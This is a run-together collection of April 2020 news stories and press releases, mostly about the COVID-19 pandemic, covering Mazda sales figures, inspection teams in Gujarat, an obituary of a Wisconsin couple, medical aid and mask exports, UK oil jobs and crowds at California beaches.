Estonias U.N. Ambassador Sven Jurgenson said. During the current pandemic, however, they can be among the greatest victims. He cited estimates that an additional 42 million to 66 million children could fall into extreme poverty as a result of COVID-19 and an analysis from the U.N. Educational, Scientific and Cultural Organization showing that 91 per cent of the worlds students are affected by school closures, and more than 1.5 billion students in 191 countries have trouble continuing their studies normally. This will lead to increased educational gaps, serious damage to the prospects for a better future and can potentially lay seeds of radicalization among young people, constituting a threat to peace and security, Jurgenson warned. U.S. Ambassador Kelly Craft added that the more than 400 million young people directly affected by violence or conflict are most vulnerable. Now, the imperative to protect them is even greater: on top of social, education, and health systems that (are) already weakened by conflict or disaster, the COVID-19 pandemic is triggering multiple, interlinked crises impacting hundreds of millions of young people, she warned. TOKYO, Apr 28, 2020 - (JCN Newswire) - Mazda Motor Corporation's production and sales results for March 2020 and for April 2019 through March 2020 are summarized below.I. Production1. Domestic Production(1) March 2020Mazda's domestic production volume in March 2020 decreased 17.6% year on year due to decreased production of passenger vehicles.[Domestic production of key models in March 2020]CX-5: 29,796 units (down 25.0% year on year)MAZDA3: 9,932 units (down 10.8%)CX-30: 9,322 units(2) April 2019 through March 2020Mazda's domestic production volume in the period from April 2019 through March 2020 decreased 3.8% year on year due to decreased production of passenger and commercial vehicles.[Domestic production of key models in the period from April 2019 through March 2020]CX-5: 388,565 units (down 10.8% year on year)MAZDA3 (includes Axela): 168,837 units (up 7.6%)CX-30: 84,933 units2. Overseas Production(1) March 2020Mazda's overseas production volume in March 2020 decreased 24.8% year on year due to decreased production of passenger and commercial vehicles.[Overseas production of key models in March 2020]CX-30: 9,967 unitsMAZDA3: 8,638 units (down 50.0% year on year)MAZDA2: 6,080 units (down 54.0%)(2) April 2019 through March 2020Mazda's overseas production volume in the period from April 2019 through March 2020 decreased 17.4% year on year due to decreased production of passenger and commercial vehicles.[Overseas production of key models in the period from April 2019 through March 2020]MAZDA3: 126,999 units (down 37.5% year on year)MAZDA2: 92,439 units (down 23.2%)CX-4: 50,520 units (down 10.3%)II. Domestic Sales(1) March 2020Mazda's domestic sales volume in March 2020 increased 8.1% year on year due to increased sales of passenger and commercial vehicles. Mazda's registered vehicle market share was 6.5% (up 0.8 points year on year), with a 3.0% share of the micro-mini segment (up 1.1 points) and a 5.2% total market share (up 0.8 points).[Domestic sales of key models in March 2020]CX-30: 5,643 unitsMAZDA2 (includes Demio): 5,621 units (down 13.1% year on year)CX-5: 4,196 units (down 33.8%)(2) April 2019 through March 2020Mazda's domestic sales volume in the period from April 2019 through March 2020 decreased 5.7% year on year due to decreased sales of passenger and commercial vehicles. Mazda's registered vehicle market share was 5.2% (unchanged year on year), with a 2.0% share of the micro-mini segment (down 0.1 points) and a 4.0% total market share (down 0.1 points).[Domestic sales of key models in the period from April 2019 through March 2020]MAZDA2 (includes Demio): 35,405units (down 19.3% year on year)MAZDA3 (includes Axela): 33,403 units (up 120.6%)CX-5: 27,726 units (down 30.6%)III. Exports(1) March 2020Mazda's export volume in March 2020 decreased 30.2% year on year due to decreased shipments to North America, Europe and other regions.[Exports of key models in March 2020]CX-5: 24,048 units (down 29.3% year on year)MAZDA3: 6,443 units (down 46.2%)MAZDA6: 4,792 units (down 32.0%)(2) April 2019 through March 2020Mazda's export volume in the period from April 2019 through March 2020 decreased 3.2% year on year due to decreased shipments to Europe, Oceania and other regions.[Exports of key models in the period from April 2019 through March 2020]CX-5: 359,992 units (down 8.2% year on year)MAZDA3: 135,338 units (down 4.2%)CX-3: 74,208 units (down 38.1%)IV. Global Sales(1) March 2020Mazda's global sales volume in March 2020 decreased 32.8% year on year due to decreased sales in the U.S., China, Europe and other regions.[Global sales of key models in March 2020]CX-5: 26,215 units (down 43.5% year on year)MAZDA3: 18,765 units (down 38.1%)CX-30: 15,437 units(2) April 2019 through March 2020Mazda's global sales volume in the period from April 2019 through March 2020 decreased 9.1% year on year due to decreased sales in the U.S., China, Europe and other regions.[Global sales of key models in the period from April 2019 through March 2020]CX-5: 415,708 units (down 9.3% year on year)MAZDA3 (includes Axela): 309,053 units (down 14.6%)MAZDA2 (includes Demio): 138,886 units (down 18.0%)For more information, visit https://bit.ly/2Sdg2IX.About MazdaMazda Motor Corporation (TSE: 7261) started manufacturing tools in 1929 and soon branched out into production of trucks for commercial use. In the early 1960s, Mazda launched its first passenger car models and began developing rotary engines. Still headquartered in Hiroshima in western Japan, Mazda today ranks as one of Japan's leading automakers, and exports cars to the United States and Europe for over 30 years. For more information, please visit www.mazda.comSource: MazdaCopyright 2020 JCN Newswire . All rights reserved. Automobile units at the Sanand industrial base in Ahmedabad have started functioning again and are working with 50 per cent capacity, the inter-ministerial central team sent to Gujarat has found, a Home Ministry official said on Tuesday. Follow latest updates on the COVID-19 pandemic here Addressing a press conference here, MHA Joint Secretary Punya Salila Srivastava said two central teams were sent to Ahmedabad and Surat in Gujarat to assess implementation of the lockdown. Headed by Additional Secretary-level officers, these teams comprise public health specialists and officers of the National Disaster Management Authority (NDMA) whose expertise can be leveraged by the state government for management of the COVID-19 pandemic, she said. The teams were deputed under the authority conferred on the Central Government under Section 35 of the Disaster Management Act, 2005 which states that "..the central government shall take all such measures as it deems necessary or expedient for the purpose of Disaster Management". Giving details of the findings of the teams, Srivastava said the team that has gone to Ahmedabad found that in Sanand industrial base the pharmaceutical industry is functioning. Auto-industrial units in the base have re-started and are working at 50 per cent capacity, she said. About 30,000 out of the total 50,000 labourers have returned to work, she said citing the findings of the central teams. Giving further details of the findings in Surat, she said the team held discussions with various stakeholders including textile and diamond industries, who are major employers of labourers. Also Read: Coronavirus India update: State-wise total number of confirmed cases, deaths Srivastava said most labourers have received pay for last month. A central team has asked the Surat administration to prepare future plans as well, she said. Giving an update of the inter-ministerial central team sent to Ahmedabad, she said it has found that the administration has adequate capacity to shift patients to dedicated COVID-19 hospitals with about 20 patients being shifted to such facilities. Based on feedback from patients' relatives, the team found that hospital facilities are satisfactory in Ahmedabad and that police and medical teams are jointly supervising entry points to quarantine clusters. In both districts, the teams have found that police administration is using modern technology such as drones to enforce the lockdown. The Central team visited Kathwada and Naroda shelter homes in Ahmedabad where it suggested that labourers may be accommodated in 33 shelter homes for maintenance of social distancing. Adequate facilities were present in shelter homes, it found. She said the team in Ahmedabad has suggested that the state may set up a multidisciplinary research unit at Sardar Patel Hospital, with the help of the Central government, where COVID-19 testing facilities can be set up. The Ahmedabad administration has taken various steps including house-to-house surveys and use of data sources such as electoral rolls, Project Lifeline and others to conduct surveillance of vulnerable population and perform their testing, she said. The team visiting Surat has found that the district administration there is also using modern techniques for detection and tracking of cases. Data on health systems and surveillance is being plotted using GIS mapping and analysis done accordingly in Surat, she said. The official said the Surat administration has also set up a municipal corporation 'War Room' and a special team of doctors, she said. The Surat administration, NGOs and industries have together made arrangements for distributing food packets to migrant labourers, the official said. A Wisconsin couple married for 73 years died just six hours apart after they both tested positive for coronavirus. The love between Wilford Kepler, 94, and his wife Mary, 92, blossomed more than seven decades ago when the two exchanged letters throughout World War II. And the couple remained inseparable when they both died just a few feet apart at Froedtert Hospital on April 18. 'Their beds were together at Froedtert and they were able to hold hands during their last day,' a joint obituary read. 'Mary commented before her death that she was being cared for by Angels.' Scroll down for video Mary and Wilford Kepler (left to right) were married for 73 years before they died within hours of each other on April 18 The Milwaukee Journal Sentinel reported that hospital staff moved their beds closer together so they could hold hands during their final days. They spoke with loved one over the phone and on video calls. Both tested positive for COVID-19, but the Milwaukee County Medical Examiners Office determined only Mary died from the virus. Mary had tested positive for coronavirus on April 8 and was quarantined at their home before accompanied Wilford to the hospital. Wilford died of a traumatic head injury after he took a bad fall on Easter Sunday. Both Mary and Wilford (left to right) tested positive for COVID-19, but only Mary died from the virus The Keplers went to the same Wisconsin high school before writing each other letters during World War II Mary and Wilford were transported to Froedtert Hospital after Wilford suffered a bad fall on Easter Medical staff confirmed his COVID-19 diagnoses on April 12 when the Keplers was transported to the local hospital following Wilford's fall. Natalie Lameka, their granddaughter, was one of the last people to see the sweet couple before they passed away. She saw them for an hour on April 17. 'They were aware of what was going on, and they were at peace with it,' Lameka, a nurse, said. Lameka and her brother, Spencer, were able to visit their grandparents before they died. Hospital staff, who only allowed one visitor per patients due to the pandemic, provided them with PPE equipment during their final visit. The couple was buried together at a cemetery near Wilford's childhood home. Their son, Michael Kepler, described them as a loving couple who loved their family. 'They took care of their children. They lived a good life, and they got their kids educated,' said Kepler. 'They did the things that most people would want to do for their children and for their families.' Pictured: The Keplers with their three children, Michael Kepler, Sandy Kepler and Michelle Pike (left to right) Lameka has seen first hand the way the coronavirus has thrown the hospital system into disarray, but the death of her grandparents was especially hard. 'This is affecting families in a big way. We lost our family,' she said. Lameka added that her grandparents were very careful and didn't know where they could have been exposed. The couple did, however, leave the home to get groceries or run errands. 'They still had to live their lives, as much as we wanted to help them,' she said. Wilford and Mary (pictured) are survived by three children, eight grandchildren and six great-grandchildren Kepler said his parents first began dating after Wilford returned from World War II and worked as a cheesemaker for Richland County. They married in 1946. Wilford eventually worked as a machinist at Harnishfeger Corp. for 35 years while Mary became the vice president of US Steel Supply, the first woman to do so. She took night classes at Alverno College and graduated with a college degree in 1981 at the age of 54. Kepler described his parents as hard workers. Wilford volunteered at the Milwaukee VA Hospital for more than 20 years. Mary was on the Milwaukee County Commission on Aging. 'Mom always joked that he hardly ever missed work, and if he had missed work, his fellow workers would have taken up a collection for his funeral,' said Kepler in the eulogy. Lameka: 'Whenever [Mary] would do something nice for someone she would say, "you may not be in a position to do something like this for someone now, but someday you will be, and I hope you pay it forward 'He wasn't really loud but he liked to be with people, and he liked to joke.' Lameka said Wilford was 'but when he did say something, it was very meaningful and thoughtful.' On the other hand, Lameka said Mary was fun-loving and liked to dance the night away. 'Whenever she would do something nice for someone she would say, "you may not be in a position to do something like this for someone now, but someday you will be, and I hope you pay it forward",' Lameka said. 'That's how they lived their lives.' The Keplers are survived by three children, eight grandchildren and six great-grandchildren. CHICAGO, April 28, 2020 /PRNewswire/ -- Post COVID-19, the report "COVID-19 Impact on Battery Energy Storage Market by Application (Residential, Nonresidential, and Utilities) and Region - Global Forecast to 2021", size is projected to grow from USD 5.7 billion in 2020 to USD 7.3 billion by 2021 during the forecast period. The major factors driving the battery energy storage industry include the growing need for continuous power from critical infrastructure sectors and the rising need to integrate renewable energy sources and rural electrification. Request of PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=123828640 The utilities application segment is projected to account for the largest share in the Battery Energy Storage Market during the forecast period The utilities segment is expected to account for the largest share in the global battery energy storage industry during the forecast period. According to the US EIA and NREL, utility-owned battery energy storage systems play a crucial role in the operations of current and future energy generation mix of a country. In addition to the system flexibility they provide, battery energy storage systems also offer reliable interconnections in neighboring power systems. The utility-owned segment is mainly being driven by increasing financial incentives and regulatory supports from the governments globally. The current utility-owned energy storage systems are affected primarily by the COVID-19 pandemic. Most of the projects in China, the US, Germany, and South Korea are delayed, and the companies are facing short-term operational issues due to supply chain constraints and lack of site access due to the COVID-19 outbreak. Browse in-depth TOC on "COVID-19 Impact on Battery Energy Storage Market" 20 - Tables 11 - Figures 52 - Pages Request more details on: https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=123828640 The Asia Pacific region is projected to be the fastest growing market for Battery Energy Storage Market during the forecast period The Asia Pacific region is projected to be the fastest growing market for battery energy storage during the forecast period. The market in Asia Pacific is expected to witness a moderate decline due to COVID-19 during the forecast period. The region is the largest market for battery energy storage systems and home to some of the fastest growing economies in the world. Asia Pacific also plans for electrification in remote areas, which are majorly off-grid in several countries. The governments of various countries are focusing on minimizing the adverse effects of the energy sector on the environment. Some of the major battery energy storage system manufacturers based in Asia Pacific are Samsung SDI, LG Chem, Hitachi, Panasonic, and NEC Corporation. Browse Related Reports: Grid-Scale Battery Market by Type (Lithium-Ion, Lead Acid, Flow Battery, Sodium-Based), Ownership-Model (Third-Party, Utility), Application (Renewable Integration, Peak Shift, Ancillary Services, Back-Up Power), and Region - Global Forecast to 2023 Residential Energy Storage Market by Power Rating (3-6 kW & 6-10 kW), Connectivity (On-Grid & Off-Grid), Technology (Lead-Acid & Lithium-Ion), Ownership (Customer, Utility, & Third-Party), Operation (Standalone & Solar), Region - Global Forecast to 2024 About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Sanjay Gupta MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: +1-888-600-6441 Email: sales@marketsandmarkets.com Visit Our Web Site: https://www.marketsandmarkets.com Research Insight: https://www.marketsandmarkets.com/ResearchInsight/covid-19-impact-on-battery-energy-storage-market.asp Content Source: https://www.marketsandmarkets.com/PressReleases/covid-19-impact-on-battery-energy-storage.asp Logo: https://mma.prnewswire.com/media/660509/MarketsandMarkets_Logo.jpg A staff member works on the face mask production line at the workshop of GAC Component Co., Ltd. in south China's Guangdong Province, Feb. 20, 2020. [Xinhua] China has provided protective masks to the global market at fair prices, by organizing as many qualified manufacturers as possible, tapping the full potential of the industrial chain and strengthening market supervision. The world is still scrambling to stock up on the much sought-after essentials, and Chinese authorities, regulators and manufacturers are doing what they can to moderate the prices and ensure quality. Market feedbacks show that China's export of medical supplies is expected to maintain steady and orderly growth in the following months, offering stronger support to the global society in fighting the COVID-19 pandemic. Containing costs For mask manufacturers, one of their biggest challenges is to manage costs that have spiked due to soaring demand. Cao Haoquan is chairman of the Guangzhou Weini Technology Development Co., Ltd., a supplier of masks and respirators. The firm sells 80 percent of its products to European buyers. Cao said he has never felt busier in his 20-year career. The veteran in the medical supply business had to frequently visit his factory and inspect production quality. "The biggest challenge for me is how to curb the impact of rising costs on the prices of masks. Prices of equipment, raw materials and labor have been jumping quickly," he said. According to Cao, the purchasing price of melt-blown non-woven fabric, a core material to make FFP2 masks, surged from 30,000 yuan (about 4,243 U.S. dollars) a tonne before the epidemic to 1.8 million yuan a tonne now. Salaries of its frontline workers have increased by 50 percent, and the purchasing price of a mask production line also soared. Cao said the current export price of Weini's medical masks remains relatively stable since the company has a sufficient stock of raw materials. By developing its own production equipment and building production lines of the specific fabric, the firm can hedge upstream price fluctuations. "I never expected that I need to make the fabric myself. There is simply too much demand, and I have to do my best to level the cost," he said. Guangzhou Jet Bio-Filtration Co., Ltd., another manufacturer of lab consumables, is also struggling with the cost increase. "Our products are aimed at helping prevent diseases and reduce deaths," said Yuan Jianhua, chairman of the company. "Thus, we can't make a quick buck by selling overpriced products." Many Chinese enterprises in other industries have also contributed a lot to ensuring mask production capacity by refitting their production lines. China's leading new energy vehicle manufacturer BYD said it had achieved a daily production capacity of 20 million masks as of April 17, meeting domestic demands while exporting to overseas markets. New Delhi, April 28 : Union Health Minister Harsh Vardhan on Tuesday said that the coronavirus pandemic has come in India as a blessing in disguise as it has given impetus to various activities under the Make in India project. The Health Minister while addressing a video conferencing with autonomous institutes and Public Sector Undertakings (PSUs) under the Department of Biotechnology, said, "this pandemic has come as a blessing in disguise for India as lots of activities have also started in make in India. We are now manufacturing PPEs and have over hundred manufacturers in the country. We are making 1 lakh to 1.5 lakh PPEs everyday in the country". Harsh Vardhan also said that the whole country has been waiting very anxiously for the contribution of the Indian scientists whether it is about discovery of new drug or successful trial of drugs which are used at present, or discovery of a vaccine or indigenous testing kits. According to the Health Minister pre-lockdown the doubling rate of the cases in India was around 3 days but for the last 14 days it had been 8.2 and for the last 7 days it was 10.2. In the last 3 days it is 10.9. "This is a very significant progress," said the Health Minister. "A hundred and 29 districts where there are a significant number of cases, around 15 or less, we call them hotspots. These are the places where we are focusing our approach on cluster containment and disease outbreak containment strategies. There is house to house survey in five kilometers area. Right now in the last 24 hours there are 16 states which have not reported any new case," Harsh Vardhan said. Lauding the efforts of the Department of Biotechnology, Harsh Vardhan said that it is supporting a number of companies in research and vaccine development. "We have made quite a progress in that direction," said he, adding, "Genome sequencing activities have started on thousand viruses in biotechnology. Indigenous antibody test kits and RT-PCR kits are doing an exemplary job and ICMR ramped up their testing capacity. Right now we have our indigenous kits." The Health Minister stressed, "We all have to see that we deliver results which could be converted into useful implementable solution for the people of India." Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text Billionaire pub baron Justin Hemmes is taking on UberEats and Menulog by launching his own home delivery app. The Merivale boss was forced to close more than 60 of his hospitality venues due to the coronavirus pandemic and is operating takeaway and delivery for the remaining few. But in a bid to keep his workers employed as delivery drivers Mr Hemmes is preparing to launch a delivery platform that will rival UberEats, MenuLog and Deliveroo. Billionaire pub baron Justin Hemmes (pictured with Lara Bingle) is taking on UberEats and Menulog by launching his own home delivery app The Merivale boss was forced to close more than 60 of his hospitality venues due to the coronavirus pandemic (Pictured: Honey Fisher, Justin Hemmes and Alexandra Agoston-O'Connor) The Merivale boss was forced to close more than 60 of his hospitality venues due to the coronavirus pandemic and is operating takeaway and delivery for the remaining few (Pictured: Coogee Pavillion) Mr Hemmes is planning to continue the Merivale food delivery service when restaurants are allowed to reopen. 'We are still working through the details and finalising venues so (it's) not fully ready to announce just yet,' he told The Daily Telegraph . '(But) we are going to be launching takeaway at more of our venues and our own home delivery service using Merivale staff.' The pub baron made the decision to do home delivery after his first ever takeaway 'Pick Up at Totti's' had resounding success. The first Merivale makeshift takeaway was launched when the coronavirus restrictions were first implemented in March. Mr Hemmes chose to then introduce the same takeaway service from other high-end restaurants such as Fred's in Paddington and Bert's at The Newport. The first Merivale makeshift takeaway was launched when the coronavirus restrictions were first implemented in March (Pictured: Palmer & Co in Sydney's CBD) Mr Hemmes (pictured with former girlfriend Kate Fowler) chose to introduce the same takeaway service from other high-end restaurants such as Fred's in Paddington and Bert's at The Newport Diners can order pre-made meals in a box that they then prepare at home. But Mr Hemmes' new in-house delivery platform allows diners to have the meals delivered to them without the thirty-five per cent commission charged by UberEats and Deliveroo. A source said the food delivery app may also be offered to other businesses but Mr Hemmes said he was 'not sure yet'. High-end restaurants that have only ever had dine-in have had to resort to takeaway and home-delivery after social distancing laws caused businesses to shut down. In a bid to keep his workers employed as delivery drivers Mr Hemmes is preparing to launch a delivery platform that will rival UberEats and MenuLog (Pictured: A food delivery rider) Mr Hemmes' new in-house delivery platform allows diners to have the meals delivered to them without the thirty-five per cent commission charged by UberEats and Deliveroo (Pictured: Bar Charlie Parker's) New South Wales Premier Gladys Berejiklian announced the relaxation of coronavirus restrictions on Tuesday after Australia recorded just seven new cases of the virus on Monday. 'From May 1, on Friday, two adults will be able to go and visit anybody else in their home on the basis of care, on the basis of reducing isolation and everybody's mental health,' the Premier said. However most businesses other than essential services will remain shut with the state hoping to ease restrictions in the coming months. FOOTHILL RANCH, Calif., April 28, 2020 /PRNewswire/ -- iBASEt , a leading provider of manufacturing, quality, and sustainment solutions that enable digital continuity, today announced availability of Solumina's Manufacturing Execution System (MES) solution as an Amazon Web Services (AWS) Quick Start application. This expanded distribution channel offers an ideal platform to further iBASEt's vision of how an MES is defined and delivered faster through an agile approach. The importance of operating as a digital enterprise has never been so acute of a focus than it is today. As the world battles COVID-19, organizations are challenged to seamlessly integrate disparate operations, systems, and applications through digital ecosystems those that are agile enough to ideally be operated and managed by remote workers. This strategy can improve efficiency and collaboration while unlocking new intelligence for improved, near real-time decision support, especially for organizations that are resource constrained. iBASEt customers can keep their digital transformation programs on track by embracing AWS's proven global infrastructure, breadth, and depth of services. As one validation point, the AWS Quick Start can deploy iBASEt's Solumina MES on AWS in about 1.52 hours. "Working closely with AWS is part of our strategic shift to better leverage the cloud and microservices to ease solution delivery, provide greater application support, and improve end user collaboration," said Naveen Poonian, Chief Executive Officer at iBASEt. "We are committed to investing in new technologies that can accelerate and support agile MES deployments and deliver faster value through proven ROI at a lower risk." Learn more here: https://aws.amazon.com/quickstart/architecture/ibaset-solumina-on-aws/ . About iBASEt iBASEt is a leading provider of manufacturing, quality and sustainment solutions that enable digital continuity across the enterprise. With 30+ years of experience in highly engineered, regulated industries, iBASEt simplifies the complex by empowering customers to gain real-time visibility, take control, and drive velocity across their operations and extended value chain. iBASEt works closely with industry leaders, including Lockheed Martin, Northrop Grumman, Rolls Royce, Pratt & Whitney, and Patricia Belgian Engine Center. Learn more at iBASEt.com . Media Contact Gordon Benzie (949) 958-5200 [email protected] SOURCE iBASEt Related Links https://www.ibaset.com China announced it would donate $30 million in additional funding to the World Health Organization quickly after President Trump halted US payments to the United Nations agency. A member of the Communist Party of China and the Director of the Foreign Ministry Information Department of the People's Republic of China, Hua Chunying reported on Twitter that the new funding brings Beijing's total contributions to $50 million for the global response against the coronavirus. "China has decided to donate an additional $30 million in cash to WHO to support its global fight against COVID-19, in particular, strengthening developing countries' health systems. China already donated $20 million in cash to WHO on March 11." During a recent briefing about coronavirus, Trump stated American taxpayers provide the bulk of the funding by far to the WHO, which has a budget of roughly $6 billion. "If we cannot trust them, if this is what we will receive from the WHO, our country will be forced to find other ways to work with other nations to achieve public health goals. With the outbreak of the COVID-19 pandemic, we have deep concerns whether America's generosity has been put to the best use possible." Cowen Equity Corp, a private equity firm in Canada, contributes to helping the fight against COVID-19 by shifting their resources into research and development around the new virus. TORONTO, Ont., March 10, 2020-The company has announced that the bulk of their resources and attention will now be directed towards research and development around possible ways of curbing the spread of the new virus. Though a collaborative effort with and between; Beneficence COLOMBO, April 27 (Xinhua) -- China on Monday donated another batch of medical aid to Sri Lanka to support the island country in its battle against COVID-19. The medical aid included 20,000 test kits, 10,000 personal protective equipment (PPEs), and 110,000 facial masks, among others. Sri Lanka has so far recorded over 580 COVID-19 cases and seven deaths. The donation comes at a time when Sri Lanka sees an escalation of the epidemic and urgently needs to increase its testing capacity as well as PPEs. The medical aid was handed over to Sri Lankan Health Minister Pavithra Wanniarachchi by Chinese Embassy Charge d'affaires Hu Wei in a ceremony held at the Health Ministry premises in capital Colombo. Vice chairman of the executive board of the World Health Organization and Director General of Health Services at the Health Ministry Anil Jasinghe said the medical aid donated by China is very valuable to Sri Lanka in its fight against COVID-19. He noted that the quality of the medical equipment and test kits from China are good and medical workers have not faced any problems with them. The Chinese government has in recent weeks sent a huge amount of medical aid to Sri Lanka which was distributed to front line health workers. President Gotabaya Rajapaksa and Prime Minister Mahinda Rajapaksa, in recent statements on their official social media accounts, both thanked China for its continued assistance in the battle against the COVID-19. An employee walks along an oil platform on the North Sea, about 45 miles east of the Aberdeen. (Andy Buchanan/AFP via Getty Images) Up to 30,000 jobs could be lost in the UKs offshore oil and gas industry as a result of the coronavirus pandemic, a leading representative body warned on Tuesday. OGUK, the industrys main trade association, said that a dramatic reduction in revenue raised serious concerns about the ability of some firms to survive the downturn. The body said that the downturn was likely to be more severe than that seen in the wake of the 2015 oil price crash, which threatened the future of the North Sea oilfields. Noting that many areas of the supply chain were increasingly fragile, OGUK said that revenues and margins across the sector could fall by as much as 30%. Although there is still a significant degree of uncertainty in estimates affecting the next 12 to 18 months, based on company feedback, OGUK currently anticipates that the level of direct and indirect jobs supported by the industry could contract by up to 30,000 during this period, it said. READ MORE: European markets rise as oil traders fret about storage Earlier this month, futures for West Texas Intermediate (CL=F) fell into negative territory for the first time ever, as traders who had no intention of actually taking delivery of oil rushed to offload their contracts. OGUK said on Tuesday (April 28) that all UK exploration and production companies and 93% of supply chain firms were reporting a worse or significantly worse outlook for 2020, compared to the beginning of the year. Analysts have warned that global oil storage capacity will quickly reach saturation point as the pandemic continues to push demand for the commodity lower. With most of the world on lockdown and travel heavily restricted, demand for fuel has tumbled by as much as 30% in recent weeks. More than 160 million barrels of oil are now being stored at sea, as refineries, storage facilities, and pipelines across the world reach capacity. OGUK believes that capital expenditure in the UKs oil and gas industry in 2020 could fall to as low as 3.5bn, which would be the lowest spending since 2000 and among the lowest since the early 1970s. Story continues READ MORE: Dont expect oil prices to recover just yet, analyst warns Operating expenditure, meanwhile, could fall by as much as 20% compared to expectations at the beginning of the year, to as low as 6bn ($7.4bn). Drilling activity could fall 50% compared to 2019 levels, pushing it to record low levels. Calling for urgent action to protect energy security, jobs, and energy regions, OGUK on Tuesday asked governments and regulators to support a three-stage framework for the sector. With historic low oil and gas prices coming so soon after one of the most severe downturns our sector has experienced, these findings confirm an especially bleak outlook for the UKs oil and gas industry, said OGUK chief executive Deirdre Michie. A CROWD gathered around a hearse in Kilbrook, Tullamore and a clear, strong voice sang 'Spancil Hill' note perfect. Not even the pony pulling a cart-load of children nor the horse drawing a sulky interrupted the mournful tune. The funeral procession had moved from the town centre up High Street, taking the left onto O'Moore Street and out the Clonminch Road to the cemetery before making the brief detour across the road to Kilbrook, home of the deceased Martin McDonagh. When the song's final verse was aired, the group turned back to the graveyard. There were about 50 mourners walking behind the horse-drawn hearse with several other horses and the pony-and-trap at the rear. And all of this on Easter Monday, April 13. There was no social distancing, nor any effort at maintaining distance. It was like any funeral procession, with the additional features which distinguished it as one associated with the Travelling community. Casual passers-by on that fine bank holiday morning were surprised to see such a large public gathering and some asked 'Where are the guards?' The gardai were indeed present, keeping a respectful distance in their vehicles. The following day the funeral of Tom McInerney took place in Birr and again concerns were expressed about breaches of the advice on social distancing. The Government guidelines on funerals during the Covid-19 pandemic are quite clear. The funeral should be private and limited to a maximum of 10 people as advised by the public health authorities. Only members of the persons household, close family members or close friends if the deceased has no household or family members, should attend. Social distancing must be practised at all times and mourners should follow the advice on social distancing when travelling to and from the funeral gathering. Social distancing of at least 2m between identified groups is recommended for everyone, the guide says. Pavee Point, the Traveller and Roma Centre, issued a statement to the Midland and Tullamore Tribune saying Traveller organisations around the country are calling on Travellers to fully adhere to Covid-19 public health measures, including restrictions on funerals. In this way people can show the deceased the respect and dignity they deserve, the statement said. These restrictions are not easy and Traveller organisations understand the importance of funerals to bereaved families. We want to make sure people take the long-term view on this. We want to make sure that as many people as possible are around to support bereaved families in the future. Bereaved families are vulnerable, may be in a state of shock and feel unable to get the message across that its ok to stay away from a funeral. But, given the Covid-19 situation, bereaved families do understand that people need to stay at home, added the statement. Pavee Point said the reality is that we dont know who has, or who does not have, the virus so taking all precautions is vital. We are all being encouraged to act as if we all have Covid-19 and thats why weve been told to stay at home as much as possible and not to meet up in groups. The Covid-19 crisis is particularly hard on Travellers given underlying health conditions and overcrowded living conditions. Gathering at funerals is a sure-fire way to make the situation worse and pass on the virus if any one person does happen to have it. This puts the whole Traveller community at further risk. By adhering to the restrictions, we can do our part in reducing (as far as possible) further spread of virus and/or prevent any unnecessary deaths. Marking the passing of a loved one is hugely important and to see a loved one buried without the usual ceremonies is very difficult. But it will be possible in the future to hold a church service for the loved one who has passed. At that point people will get a chance to pay their respects in person and pass on their good wishes to the family. Messages of sympathy could be expressed through Mass cards, by phone, WhatsApp or Facebook, plus the book of online condolences on rip.ie Bereaved Traveller families need our support not just now but into the future. By staying at home during Covid-19 we can make sure we will be there for them in the weeks, months and years to come. Los Angeles (AFP) - Governor Gavin Newsom on Monday admonished Californians who flocked to beaches by the thousands at the weekend, warning that their behavior could reverse progress made in combating the coronavirus pandemic. "We can't see images like we saw, particularly on Saturday, in Newport Beach and elsewhere," Newsom told reporters, referring to photos showing people packing several beaches in southern California amid a heatwave. "The virus doesn't take the weekend off because it's a beautiful sunny day around our coasts," he added. The images from Newport Beach and neighboring Huntington Beach have prompted a backlash, with many comparing them to photos in April of beachgoers in Florida that sparked the #FloridaMorons hashtag. Newsom said that while the most populous state in the country is weeks away from starting to gradually lift stay-at-home orders, the beach scenes from the weekend could push back that goal. "The only thing that will set us back is our behavior," he said. "The only thing that can stop that is more images like we saw this weekend." Beaches in California have been closed to the public because of the pandemic, but a handful of cities have moved to allow visitors while enforcing restrictions, including for parking and social distancing. California was the first state in the nation to impose a stay-at-home order in early March, a move largely seen as having contributed to preventing a death toll similar to those in New York or New Jersey. The western state has registered nearly 45,000 cases of COVID-19 so far with almost 1,800 deaths, a fatality rate deemed modest considering the size of the state. Newsom said he plans to work with local officials to reassess enforcement measures to avoid a repeat of the weekend beach scenes. The city council in Newport Beach said on Monday it was considering closing the beaches for the next three weeks or blocking roads to avoid large crowds. Story continues - Life goes on - Los Angeles County's public beaches, which include Santa Monica, Venice and Malibu beaches, for their part are closed to the public until May 14, as are public hiking trails, bike paths and piers. "We won't let one weekend undo a month of progress," Los Angeles Mayor Eric Garcetti tweeted Sunday. "While the sunshine is tempting, we're staying home to save lives." On Monday, several beaches in San Diego and nearby towns opened for recreational activities such as walking or swimming, but group gatherings and sunbathing were not allowed. In Huntington Beach, located about 40 miles (65 kilometers) south of Los Angeles, law enforcement officials said that while the weekend photos of beachgoers seemed impressive, most people kept their distance from each other. "Despite what's being reported, the majority of our beach goers are complying (sic) to social distancing," Huntington Beach police tweeted. In a statement, the city said police and lifeguards patrolling the beach found "the majority of people staying in their own unit." Lifeguards also used loudspeakers to issue social distancing reminders every hour. "This is the first time I've been out since March 23, so I'm doing my due diligence," Amy Hughes, one of the beachgoers, told AFP on Saturday. "We are keeping our distance, and life still has to go on." Andrew Matthew, another beachgoer, also insisted that people were respecting social distancing guidelines and needed to get a break from weeks of 